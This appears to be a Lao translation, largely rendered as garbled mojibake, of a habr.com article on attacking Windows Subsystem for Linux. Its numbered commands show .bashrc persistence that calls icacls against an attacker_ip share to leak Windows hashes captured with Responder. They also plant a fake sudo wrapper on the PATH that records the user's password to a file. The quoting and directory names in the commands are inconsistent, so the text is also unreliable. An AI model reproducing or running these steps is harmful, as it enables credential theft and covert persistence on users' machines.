เปเบซเปเบชเบปเบกเบกเบธเบเบงเปเบฒเบเบงเบเปเบฎเบปเบฒเบกเบตเบเบฒเบเปเบเบปเปเบฒเปเบเบดเบ WSL เบเบตเปเบเปเปเปเบเปเบฎเบฑเบเบชเบดเบเปเบเปเบเบทเปเบญเบ Windows. เปเบซเปเบเบฐเบเบฒเบเบฒเบกเปเบเบกเบเบตเบฅเบฐเบเบปเบเบเบฐเบเบดเบเบฑเบเบเบฒเบ Linux เปเบเบเบเบฒเบเปเบเบซเบฒเบเปเบฒเบชเบฑเปเบเบเบฒเบ Linux. เปเบเบทเปเบญเบเบฐเบเบดเบเบฑเบเบเบฒเบเปเบเบกเบเบต, เบเบงเบเปเบฎเบปเบฒเบเบฐเปเบเปเปเบเบฑเบเบเบดเบ autorun เบเปเบฒเบเป - เบเบงเบเปเบฎเบปเบฒเบเบฐเปเบเบตเปเบกเบชเบฐเบเบดเบเบเบญเบเบเบงเบเปเบฎเบปเบฒเบชเปเบฒเบฅเบฑเบเบเบฒเบเบเบฐเบเบดเบเบฑเบเปเบเบชเบฐเบเบฒเบเปเบงเบเบฅเปเบญเบก Linux. เปเบเบทเปเบญเปเบฎเบฑเบเบชเบดเปเบเบเบตเป, เบเปเบฒเบเบเปเบฒเปเบเบฑเบเบเปเบญเบเปเบเปเบเปเบฝเบเปเบเบฅเป .bashrc
.
เปเบเปเบเบทเปเบญเบเบเบตเปเบกเบต WSL เบเบงเบเปเบฎเบปเบฒเบเบฐเบเบดเบเบฑเบ:
1. bash
2. ะะตัะตั
ะพะดะธะผ ะฒ ะดะพะผะฐัะฝัั ะดะธัะตะบัะพัะธั ะฟะพะปัะทะพะฒะฐัะตะปั: cd /home/sam/
2. echo ยซ/home/sam/.attack.shยป >> .bashrc
3. echo ยซicalcs.exe ยป \\\\attacker_ip\\shareName\\ยป > /dev/null 2>&1ยป >> .attack.sh
4. chmod u+x .attack.sh
5. exit
เปเบเปเบเบทเปเบญเบ Kali Linux เบเบงเบเปเบฎเบปเบฒเปเบฅเปเบ:
1. Responder -I eth0 -rdvw
เปเบเปเบเบทเปเบญเบ Windows, เปเบซเปเปเบเบตเบ bash.
เบเบงเบเปเบฎเบปเบฒเบฅเปเบเปเบฒเบเบปเบเปเบเปเบฎเบฑเบเบขเบนเปเปเบเปเบเบทเปเบญเบ Kali Linux:
เบเบฑเปเบเบเบฑเปเบ, เบเบงเบเปเบฎเบปเบฒเปเบเปเบฎเบฑเบเบเบนเปเปเบเป Windows hashes เบเปเบฒเบเบฅเบฐเบเบปเบเบเปเบญเบ WSL เปเบเบเบเบฒเบเบเบฐเบเบดเบเบฑเบเบเปเบฒเบชเบฑเปเบเปเบเบฅเบฐเบเบปเบ Linux.
เบเบฒเบเบเบปเบเบฅเบญเบ WSL 1: เบเบฒเบเปเบเปเบฎเบฑเบเบฅเบฐเบซเบฑเบเบเปเบฒเบเบเบนเปเปเบเป (Linux OS)
เบกเบฒเบเบปเบเบฅเบญเบเบญเบตเบเบญเบฑเบเปเบถเปเบ. เปเบเบฅเบฐเบซเบงเปเบฒเบเบเบฒเบเบเบงเบเบชเบญเบเบเบตเปเบเบงเบเปเบฎเบปเบฒเบเบฐเปเบเบตเปเบกเปเบชเปเปเบเบฅเป .bashrc
เบเปเบฒเบชเบฑเปเบเบเปเบฒเบเบงเบเบซเบเบถเปเบเปเบเบทเปเบญเปเบซเปเปเบเปเบฎเบฑเบเบฅเบฐเบซเบฑเบเบเปเบฒเบเบเบนเปเปเบเปเบเบญเบเบฅเบฐเบเบปเบเบเบฐเบเบดเบเบฑเบเบเบฒเบ Linux.
เปเบซเปเปเบเบตเบ bash เปเบฅเบฐเปเบชเปเบเปเบฒเบชเบฑเปเบ:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtยป >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
เปเบเบทเปเบญเบชเบณเปเบฅเบฑเบเบเบฒเบเปเบเบกเบเบต, เบเบนเปเปเบเป Sam เบเปเบญเบเบเบฒเบเปเบเบซเบฒ sudo เปเบ terminal Linux. เบซเบผเบฑเบเบเบฒเบเบเบตเป, เบฅเบฐเบซเบฑเบเบเปเบฒเบเบเบนเปเปเบเป Linux OS เบเบฐเบขเบนเปเปเบเปเบเบฅเป pass.txt
:
เบเบฒเบเบเบฐเบเบดเบเบฑเบเบเบฒเบเปเบเบกเบเบตเปเบเปเบเบทเบเบกเบญเบเปเบซเปเบชเปเบฒเบฅเบฑเบเบเปเปเบกเบนเบเบเบฒเบเบเบดเบเบชเบฐเบเบตเปเบเบปเปเบฒเบเบฑเปเบ.
เบชเปเบงเบเบเปเปเปเบเบเบญเบเบเบปเบเบเบงเบฒเบกเบเบฐเบญเบฐเบเบดเบเบฒเบเบเบฒเบเบเบฐเบเบดเบเบฑเบเบเบญเบเบญเบฐเบเบธเบชเบฑเบเบเบฒ 9P, เบเบดเบเบฒเบฅเบฐเบเบฒเบเบฒเบเบชเปเบฒเบเปเบเบทเปเบญเบเบชเบฐเปเบเบเบชเปเบฒเบฅเบฑเบเปเบเปเบเบเบญเบเบเบตเป, เปเบฅเบฐเบเบฑเบเบเบฐเบเบดเบเบฑเบเบเบฒเบเปเบเบกเบเบตเปเบเบเปเบเปเบกเบฑเบ.
เบฅเบฒเบเบเบฒเบเบงเบฑเบเบเบฐเบเบฐเบเบตเบเบตเปเปเบเปเปเบฅเปเบง
WSL 2 เบเบฒเบเบเบปเปเบเบเบงเปเบฒเปเบเบปเปเบฒเปเบเปเบเบเบตเปเบเปเปเบเบต เบฅเบฐเบเบปเบเบเปเบญเบ Windows เบชเปเบฒเบฅเบฑเบเปเบญเบเบฐเบชเบฒเบ Linux
เบญเปเบฒเบโเบเบทเปเบก
เปเบซเบผเปเบเบเปเปเบกเบนเบ: www.habr.com